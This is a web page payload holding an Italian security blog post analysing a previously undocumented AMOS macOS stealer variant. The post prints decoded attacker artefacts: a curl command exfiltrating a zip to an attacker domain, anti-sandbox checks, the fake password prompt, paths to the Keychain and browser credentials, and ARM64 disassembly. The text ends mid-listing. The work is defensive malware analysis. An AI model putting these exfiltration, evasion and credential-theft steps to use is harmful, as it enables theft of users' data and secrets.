[{"data":1,"prerenderedAt":3342},["ShallowReactive",2],{"sc:header-data-it":3,"sc:footer-data-it":489,"post-it--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":518,"authors_data":2770,"content-it-list-7b291c2dd91a4":3122,"authors_data:Pascal Asch":3339},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"it":13},{"title":14,"url":15,"alt":16},"Home","/it","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"it":21},{"title":22,"description":23},"Workplace","Basato su Microsoft 365 per postazioni di lavoro intelligenti, sicure e flessibili, con integrazione di tecnologie moderne e servizi di identità.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"it":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"it":34},{"title":35,"url":36},"Managed Intune","/it/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"it":40},{"title":41,"url":42},"Managed Entra","/it/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"it":46},{"title":47,"url":48},"Managed Workplace","/it/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"it":52},{"title":53,"url":54},"Consulting Services","/it/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"it":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"it":64},{"title":65,"url":66},"Microsoft Entra Suite","/it/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"it":70},{"title":71,"url":72},"Microsoft Intune","/it/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"it":76},{"title":77,"url":78},"Microsoft Windows","/it/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"it":82},{"title":83,"url":84},"Windows 365 Cloud PC","/it/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"it":88},{"title":89,"url":90},"Cloud Workplace Foundation","/it/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"it":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"it":100},{"title":101,"url":102},"Microsoft 365 Copilot","/it/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"it":106},{"title":107,"url":108},"Teams","/it/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"it":112},{"title":113,"url":114},"SharePoint & Power Platform","/it/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"it":118},{"title":119,"url":120},"Exchange Online","/it/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"it":124},{"title":125,"url":126},"Information Protection & Compliance","/it/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"it":130},{"title":131,"description":132},"Azure","Crescita con Azure: riduci i costi cloud, aumenta l'efficienza e spingi l'innovazione con IaaS e PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"it":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"it":142},{"title":143,"url":144},"Azure Managed Services","/it/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"it":148},{"title":149,"url":150},"Azure Consulting","/it/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"it":154},{"title":155},"Scenari",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"it":160},{"title":161,"url":162},"Pianifica il tuo cloud","/it/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"it":166},{"title":167,"url":168},"Migra al cloud","/it/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"it":172},{"title":173,"url":174},"Innova la tua azienda","/it/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"it":178},{"title":179,"url":180},"Ripensa la tua strategia VMware","/it/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"it":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"it":190},{"title":191,"url":192},"Azure Foundation","/it/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"it":196},{"title":197,"url":198},"Azure AI Foundation","/it/azure/azure-ai-foundation",{"name":86,"languages":200},{"it":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"it":205},{"title":206,"url":207},"Azure Data Foundation","/it/azure/azure-data-foundation",{"name":188,"languages":209},{"it":210},{"title":211,"url":212},"Azure Container Foundation","/it/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"it":216},{"title":217,"url":218},"Managed Dark Tenant","/it/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"it":222},{"title":223,"url":224},"Cloud Adoption Framework","/it/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"it":228},{"title":229,"url":230},"Cloud Competence Center","/it/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"it":234},{"title":235,"description":236,"emergency":237},"Security","Vigilanza nel cloud con un managed service 24/7 pluripremiato, incident response e protezione moderna per la tua infrastruttura.",{"text":238,"href":239,"skin":240,"icon":241},"Sotto attacco?","/it/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"it":249},{"title":250,"url":251},"Managed Red Tenant","/it/security/managed-red-tenant",{"name":214,"languages":253},{"it":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"it":259},{"title":260,"url":261},"Sentinel Data Lake","/it/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"it":265},{"title":266,"url":267},"Security Consulting","/it/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"it":274},{"title":275,"url":276},"Cloud Security Operations Center","/it/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"it":280},{"title":281,"url":282},"Global Secure Access","/it/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"it":286},{"title":287,"url":288},"MyWorkID","/it/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"it":295},{"title":296,"url":297},"Preventive Services","/it/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"it":301},{"title":302,"url":303},"Data Security Service","/it/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"it":307},{"title":308,"url":309},"Security Copilot Agents","/it/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"it":313},{"title":314,"url":315},"Implementazione di NIS2","/it/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"it":319},{"title":320,"description":321},"Prodotti","Prodotti complementari per un ambiente Microsoft sicuro e 100 % cloud-native, che rafforzano la collaborazione, l'autenticazione di rete e la gestione software.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"it":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Distribuzione software dal cloud",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"it":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Distribuzione dei certificati dal cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"it":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Lavora con i tuoi dati locali di Office 365",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"it":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migra i dati da un server all'altro",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"it":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"it":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autenticazione per la tua rete",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"it":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Trova contatti in Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"it":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Monitoraggio di Windows Autopilot in tempo reale",{"name":396,"languages":397},"casestudies",{"it":398},{"title":399,"url":400,"description":401},"Case Studies","/it/casestudies","Pioniere nel cloud: il tuo Microsoft partner di riferimento per soluzioni cloud con un approccio blueprint-based e competenza in Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"it":405},{"title":406,"description":401},"Azienda",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"it":411},{"title":412},"Chi siamo",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"it":417},{"title":418,"url":419},"Fatti e numeri","/it/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"it":423},{"title":424,"url":425},"Contatti e sedi","/it/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"it":429},{"title":430,"url":431}," glueckkanja Switzerland","/it/company/switzerland",{"name":433,"languages":434},"austria",{"it":435},{"title":436,"url":437},"glueckkanja Austria","/it/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"it":441},{"title":442},"Carriera",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"it":447},{"title":448,"url":449},"Panoramica carriera","/it/career",{"name":451,"languages":452},"company-young-professionals",{"it":453},{"title":454,"url":455},"Young Professionals","/it/young-professionals",{"name":457,"languages":458},"company-jobs",{"it":459},{"title":460,"url":461},"Offerte di lavoro","/it/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"it":465},{"title":466},"Novità",[468,474],{"name":469,"languages":470},"company-blog",{"it":471},{"title":472,"url":473},"Blog","/it/blog",{"name":469,"languages":475},{"it":476},{"title":477,"url":478},"Eventi","/it/events",[480],{"name":481,"languages":482},"career-meta",{"it":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"it":487},{"title":488,"url":425,"active":484},"Contatti",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksIt":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/it/privacy",{"title":514,"url":515},"Imprint","/it/imprint",{"title":507,"url":517},"/it/cookies",{"id":519,"title":520,"author":521,"body":523,"cta":494,"description":529,"eventid":494,"extension":2673,"hideInRecent":484,"layout":2674,"meta":2675,"moment":2679,"navigation":325,"path":2760,"seo":2761,"stem":2762,"tags":2763,"webcast":484,"__hash__":2769},"content_it/posts/2026-04-10-incident-to-intelligence.md","Anatomia di un AMOS Stealer sconosciuto: dall'alert all'immunità in poche ore",[522],"Pascal Asch",{"type":524,"value":525,"toc":2637},"minimal",[526,530,533,536,539,544,547,550,558,560,565,568,571,585,588,591,599,602,606,608,611,634,637,645,648,656,663,667,669,672,680,695,699,701,704,709,712,720,724,726,734,738,740,743,747,749,752,760,764,766,774,777,875,878,908,910,914,916,923,926,930,932,1016,1020,1022,1033,1040,1114,1125,1132,1136,1138,1203,1207,1209,1216,1218,1222,1224,1231,1257,1444,1447,1455,1466,1469,1477,1492,1505,1507,1511,1513,1531,1553,1743,1746,1754,1757,1760,1762,1766,1768,1771,1850,1853,1872,1951,1954,1956,1960,1962,1965,1972,2027,2030,2038,2041,2043,2047,2049,2056,2068,2116,2127,2166,2175,2190,2193,2195,2199,2201,2208,2211,2219,2222,2230,2244,2247,2249,2253,2255,2265,2269,2271,2288,2296,2310,2329,2333,2335,2338,2346,2349,2357,2371,2375,2377,2380,2388,2406,2412,2416,2418,2426,2433,2440,2444,2446,2454,2458,2460,2463,2471,2474,2478,2480,2488,2492,2494,2502,2506,2508,2516,2520,2522,2530,2547,2552,2554,2558,2560,2567,2584,2587,2599,2601,2605,2607,2610,2613,2616,2633],[527,528,529],"p",{},"Quando nel nostro SOC scatta un alert, l'orologio inizia a correre: non solo per il cliente colpito, ma per tutte le organizzazioni sotto la nostra protezione. Il momento più pericoloso nel panorama moderno delle minacce è l'Intelligence Gap, la finestra temporale tra il primo impiego di una nuova variante di malware e il giorno in cui il settore ne viene a conoscenza.",[527,531,532],{},"Per i security team indipendenti questa lacuna significa vulnerabilità estrema: si aspetta un aggiornamento del vendor o un feed di signature che non è ancora stato scritto. Per i nostri clienti la nostra Shared Threat Intelligence, sviluppata internamente, chiude esattamente questa finestra.",[527,534,535],{},"Questo articolo è un'analisi tecnica di come abbiamo smontato una variante di AMOS (Atomic macOS Stealer) finora non documentata e di come, partendo da un singolo endpoint compromesso, siamo arrivati nel giro di poche ore a una rilevazione e a un blocco estesi a tutti gli ambienti dei nostri clienti.",[537,538],"hr",{},[540,541,543],"h1",{"id":542},"lincidente-uno-scenario-di-ioc-sconosciuti","L'incidente: uno scenario di IOC sconosciuti",[527,545,546],{},"{: .h3-font-size}",[527,548,549],{},"L'alert è arrivato il 12 marzo 2026 alle 06:25 ora locale: un endpoint macOS era stato compromesso. Quando il nostro SOC ha iniziato ad analizzare gli artefatti, ci siamo trovati davanti alla situazione che ogni threat analyst teme: nessun hash di file noto, nessun indirizzo IP di C2, nessuna signature comportamentale significativa nei database pubblici.",[527,551,552,553,557],{},"L'architettura completa dell'attacco si è rivelata solo con l'analisi approfondita. L'infezione si basava su una macOS Universal Binary da 15,7 MB (x86_64 e ARM64), depositata in ",[554,555,556],"code",{},"/private/tmp/helper",". Il sample non era direttamente disponibile sul sistema compromesso; il nostro team ha dovuto ricostruire la catena di infezione e simulare la richiesta di consegna originale per recuperare manualmente la binary dall'infrastruttura degli attaccanti.",[537,559],{},[561,562,564],"h2",{"id":563},"stage-1-verifiche-sandbox","Stage 1: verifiche sandbox",[527,566,567],{},"{: .h4-font-size}",[527,569,570],{},"Prima che lo stealer vero e proprio venisse eseguito sul dispositivo, era già stato lanciato un payload AppleScript. Ogni stringa al suo interno, ogni percorso di file, ogni comando shell, ogni URL era codificato tramite tre funzioni aritmetiche personalizzate:",[572,573,575],"div",{"style":574},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[576,577,582],"pre",{"className":578,"code":580,"language":581},[579],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[554,583,580],{"__ignoreMap":584},"",[527,586,587],{},"Nessuna stringa appare in chiaro. Quello che a prima vista sembrava un insieme insignificante di array di interi si è rivelato, una volta invertito lo schema di codifica, un framework completo e pronto all'uso per il furto e l'esfiltrazione dei dati.",[527,589,590],{},"Abbiamo decodificato staticamente ogni array nello script. I risultati erano inequivocabili:",[572,592,593],{"style":574},[576,594,597],{"className":595,"code":596,"language":581},[579],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[554,598,596],{"__ignoreMap":584},[527,600,601],{},"La URL di download imita volutamente un aggiornamento legittimo di n8n Workflow Automation, uno strumento molto diffuso tra sviluppatori e ingegneri DevOps. Non è un caso: la campagna prende di mira utenti tecnicamente esperti, non i comuni utenti finali che installano software craccato.",[561,603,605],{"id":604},"il-controllo-anti-sandbox","Il controllo anti-sandbox",[527,607,567],{},[527,609,610],{},"Prima del download, lo script eseguiva una routine dedicata di rilevamento di VM e sandbox. Dagli artefatti dell'incidente siamo riusciti a ricostruire anche uno script anti-sandbox indipendente:",[572,612,613],{"style":574},[576,614,618],{"className":615,"code":616,"language":617,"meta":584,"style":584},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[554,619,620,628],{"__ignoreMap":584},[621,622,625],"span",{"class":623,"line":624},"line",1,[621,626,627],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[621,629,631],{"class":623,"line":630},2,[621,632,633],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[527,635,636],{},"Lo script confrontava poi i risultati con due liste. La prima cercava marker di virtualizzazione nei dati sulla memoria:",[572,638,639],{"style":574},[576,640,643],{"className":641,"code":642,"language":581},[579],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[554,644,642],{"__ignoreMap":584},[527,646,647],{},"La seconda verificava gli identificatori hardware rispetto a un elenco di numeri di serie noti di macchine di analisi:",[572,649,650],{"style":574},[576,651,654],{"className":652,"code":653,"language":581},[579],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[554,655,653],{"__ignoreMap":584},[527,657,658,659,662],{},"In caso di corrispondenza: ",[554,660,661],{},"exit 100",", interruzione completa. Su un MacBook Pro reale con Apple Silicon tutti i controlli passavano silenziosamente e l'esecuzione proseguiva. Una tecnica di sandbox evasion di livello professionale, che si svolgeva prima ancora che venisse scaricato un solo byte della binary.",[561,664,666],{"id":665},"semplice-ma-efficace-il-finto-prompt-della-password","Semplice, ma efficace: il finto prompt della password",[527,668,567],{},[527,670,671],{},"Lo script decodificato conteneva anche il dialogo per l'escalation dei privilegi tramite social engineering:",[572,673,674],{"style":574},[576,675,678],{"className":676,"code":677,"language":581},[579],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[554,679,677],{"__ignoreMap":584},[527,681,682,683,686,687,690,691,694],{},"Il dialogo compare tramite una chiamata standard macOS a ",[554,684,685],{},"display dialog"," con ",[554,688,689],{},"with hidden answer"," ed è visivamente indistinguibile da un vero prompt di autorizzazione di macOS. Lo script utilizzava la password inserita per lanciare ",[554,692,693],{},"login -pf \u003Cusername>"," ed elevare il processo ai privilegi di root, ancora prima di eseguire la binary.",[561,696,698],{"id":697},"cosa-ha-raccolto-lo-script","Cosa ha raccolto lo script",[527,700,567],{},[527,702,703],{},"Una volta eseguita la binary, l'osascript proseguiva la propria routine di raccolta e catturava ogni categoria di dati sensibili del sistema. Abbiamo decodificato tutti i percorsi di raccolta e le destinazioni:",[705,706,708],"h3",{"id":707},"dati-del-browser-tutti-i-browser-chromium-safari","Dati del browser (tutti i browser Chromium + Safari):",[527,710,711],{},"{: .font-size-4}",[572,713,714],{"style":574},[576,715,718],{"className":716,"code":717,"language":581},[579],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[554,719,717],{"__ignoreMap":584},[705,721,723],{"id":722},"macos-keychain","macOS Keychain:",[527,725,711],{},[572,727,728],{"style":574},[576,729,732],{"className":730,"code":731,"language":581},[579],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[554,733,731],{"__ignoreMap":584},[705,735,737],{"id":736},"apple-notes","Apple Notes",[527,739,711],{},[527,741,742],{},"Contenuto completo esportato come HTML con header di conteggio",[705,744,746],{"id":745},"file-locali","File locali",[527,748,711],{},[527,750,751],{},"Desktop e Documenti, fino a 30 MB, con focus su:",[572,753,754],{"style":574},[576,755,758],{"className":756,"code":757,"language":581},[579],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[554,759,757],{"__ignoreMap":584},[705,761,763],{"id":762},"wallet-di-criptovalute","Wallet di criptovalute",[527,765,711],{},[527,767,768,769,773],{},"Una lista hardcoded di ",[770,771,772],"strong",{},"oltre 200 ID di estensioni del browser",", che copre tutti i wallet più diffusi, tra cui MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI ed Exodus.",[527,775,776],{},"Dopo la raccolta, tutti i dati venivano impacchettati in una directory temporanea dal nome casuale ed esfiltrati:",[572,778,779],{"style":574},[576,780,784],{"className":781,"code":782,"language":783,"meta":584,"style":584},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[554,785,786,820,846,863],{"__ignoreMap":584},[621,787,788,792,796,799,802,806,810,814,817],{"class":623,"line":624},[621,789,791],{"class":790},"sScJk","ditto",[621,793,795],{"class":794},"sj4cs"," -c",[621,797,798],{"class":794}," -k",[621,800,801],{"class":794}," --sequesterRsrc",[621,803,805],{"class":804},"szBVR"," \u003C",[621,807,809],{"class":808},"sZZnC","staging_di",[621,811,813],{"class":812},"sVt8B","r",[621,815,816],{"class":804},">",[621,818,819],{"class":808}," /tmp/out.zip\n",[621,821,822,825,828,831,834,837,840,843],{"class":623,"line":630},[621,823,824],{"class":790},"curl",[621,826,827],{"class":794}," --connect-timeout",[621,829,830],{"class":794}," 120",[621,832,833],{"class":794}," --max-time",[621,835,836],{"class":794}," 300",[621,838,839],{"class":794}," -X",[621,841,842],{"class":808}," POST",[621,844,845],{"class":794}," \\\n",[621,847,849,852,855,858,861],{"class":623,"line":848},3,[621,850,851],{"class":794},"  -H",[621,853,854],{"class":808}," \"user: \u003Cuuid>\"",[621,856,857],{"class":794}," -H",[621,859,860],{"class":808}," \"BuildID: \u003Chw_profile>\"",[621,862,845],{"class":794},[621,864,866,869,872],{"class":623,"line":865},4,[621,867,868],{"class":794},"  -F",[621,870,871],{"class":808}," \"file=@/tmp/out.zip\"",[621,873,874],{"class":808}," laislivon[.]com/contact\n",[527,876,877],{},"La pulizia seguiva immediatamente:",[572,879,880],{"style":574},[576,881,883],{"className":781,"code":882,"language":783,"meta":584,"style":584},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[554,884,885,902],{"__ignoreMap":584},[621,886,887,890,893,895,897,899],{"class":623,"line":624},[621,888,889],{"class":790},"rm",[621,891,892],{"class":794}," -r",[621,894,805],{"class":804},[621,896,809],{"class":808},[621,898,813],{"class":812},[621,900,901],{"class":804},">\n",[621,903,904,906],{"class":623,"line":630},[621,905,889],{"class":790},[621,907,819],{"class":808},[537,909],{},[540,911,913],{"id":912},"stage-2-reverse-engineering-della-binary-helper","Stage 2: reverse engineering della binary 'helper'",[527,915,546],{},[527,917,918,919,922],{},"La binary ",[554,920,921],{},"helper"," è la parte in cui questa analisi entra davvero nel dettaglio. Si tratta di un eseguibile macOS offuscato in modo professionale, che ostacola sistematicamente l'analisi statica e ha richiesto lo sforzo maggiore di reverse engineering di tutta questa indagine.",[527,924,925],{},"L'intera analisi è stata condotta con Ghidra e con il nostro workflow personalizzato di analisi ARM64.",[561,927,929],{"id":928},"proprietà-del-file","Proprietà del file",[527,931,567],{},[572,933,935],{"style":934},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[936,937,939,940,939,956],"table",{"style":938},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[941,942,943,944,939],"thead",{},"\n    ",[945,946,947,948,947,953,943],"tr",{},"\n      ",[949,950,952],"th",{"style":951},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Proprietà",[949,954,955],{"style":951},"Valore",[957,958,943,959,943,969,943,978,943,986,943,996,943,1006,939],"tbody",{},[945,960,947,961,947,966,943],{},[962,963,965],"td",{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[962,967,968],{"style":964},"Mach-O Universal Binary",[945,970,947,971,947,975,943],{},[962,972,974],{"style":973},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[962,976,977],{"style":973},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[945,979,947,980,947,983,943],{},[962,981,982],{"style":964},"Size",[962,984,985],{"style":964},"15.7 MB",[945,987,947,988,947,991,943],{},[962,989,990],{"style":973},"MD5",[962,992,993],{"style":973},[554,994,995],{},"4599fdf2fa2099b30d8bbf76703dd634",[945,997,947,998,947,1001,943],{},[962,999,1000],{"style":964},"SHA-1",[962,1002,1003],{"style":964},[554,1004,1005],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[945,1007,947,1008,947,1011,943],{},[962,1009,1010],{"style":973},"SHA-256",[962,1012,1013],{"style":973},[554,1014,1015],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[561,1017,1019],{"id":1018},"comincia-prima-di-main","Comincia prima di main()",[527,1021,567],{},[527,1023,1024,1025,1028,1029,1032],{},"La prima cosa che abbiamo notato in Ghidra: questa binary non si comporta come un eseguibile normale. Il vero entry point non è ",[554,1026,1027],{},"main()",", ma una funzione registrata in ",[554,1030,1031],{},"__mod_init_func",", un meccanismo di macOS che indica al dynamic linker (dyld) di eseguire automaticamente determinate funzioni al caricamento della binary, prima ancora che venga eseguito codice utilizzabile.",[527,1034,1035,1036,1039],{},"La init function a ",[554,1037,1038],{},"0x10009f384"," è il vero entry point del malware. Ecco la decompilazione Ghidra:",[572,1041,1042],{"style":574},[1043,1044,1045,1049,1052,1055,1059,1060,1064,1065,1067,1068,1071,1072,1086],"code-block",{},[621,1046,1048],{"style":1047},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1050,1051],"br",{},[621,1053,1054],{"style":1047},"// __mod_init_func registered — executes before main()",[621,1056,1058],{"style":1057},"color:#d73a49","void"," ",[621,1061,1063],{"style":1062},"color:#6f42c1","FUN_10009f384","(",[621,1066,1058],{"style":1057},")\n{\n  ",[621,1069,1070],{"style":1057},"int"," iVar1;\n",[527,1073,1074,1077,1078,1064,1081,1085],{},[621,1075,1076],{"style":1047},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[621,1079,1080],{"style":1062},"_usleep",[621,1082,1084],{"style":1083},"color:#005cc5","0x37e",");",[527,1087,1088,1091,1094,1095,1097,1098,1101,1102,1105,1106,1109,1110,1113],{},[621,1089,1090],{"style":1047},"// Indirect jump table — 14-state machine",[621,1092,1093],{"style":1047},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[621,1096,554],{"style":1057}," _)((",[621,1099,1100],{"style":1057},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[621,1103,1104],{"style":1083},"4"," + ",[621,1107,1108],{"style":1083},"0x10009f440","))(iVar1);\n",[621,1111,1112],{"style":1057},"return",";\n}",[527,1115,1116,1117,1120,1121,1124],{},"Due elementi saltano subito all'occhio. Il primo è la ",[554,1118,1119],{},"usleep"," di 894 microsecondi in avvio: un segnale di timing anti-sandbox. Ancora più rilevante è la jump table indiretta a ",[554,1122,1123],{},"0x10009f43c",". Si tratta di un branch calcolato, in cui l'indirizzo di destinazione viene determinato a runtime a partire da una lookup table. Gli strumenti di analisi statica non riescono a ricostruire il control flow graph; Ghidra ha registrato diversi warning \"unreachable block\" nel tentativo di seguire il percorso di esecuzione. Il comportamento è voluto.",[527,1126,1127,1128,1131],{},"La jump table pilota una ",[770,1129,1130],{},"macchina a stati di esecuzione a 14 stati",". Ogni stato esegue un singolo passo discreto della pipeline di decodifica ed esecuzione. Il contatore di stato viene aggiornato dopo ogni passo e la macchina gira finché tutti gli stati non sono stati attraversati.",[561,1133,1135],{"id":1134},"il-disassembly-arm64-del-state-dispatcher","Il disassembly ARM64 del state dispatcher",[527,1137,567],{},[572,1139,1140],{"style":574},[576,1141,1145],{"className":1142,"code":1143,"language":1144,"meta":584,"style":584},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken 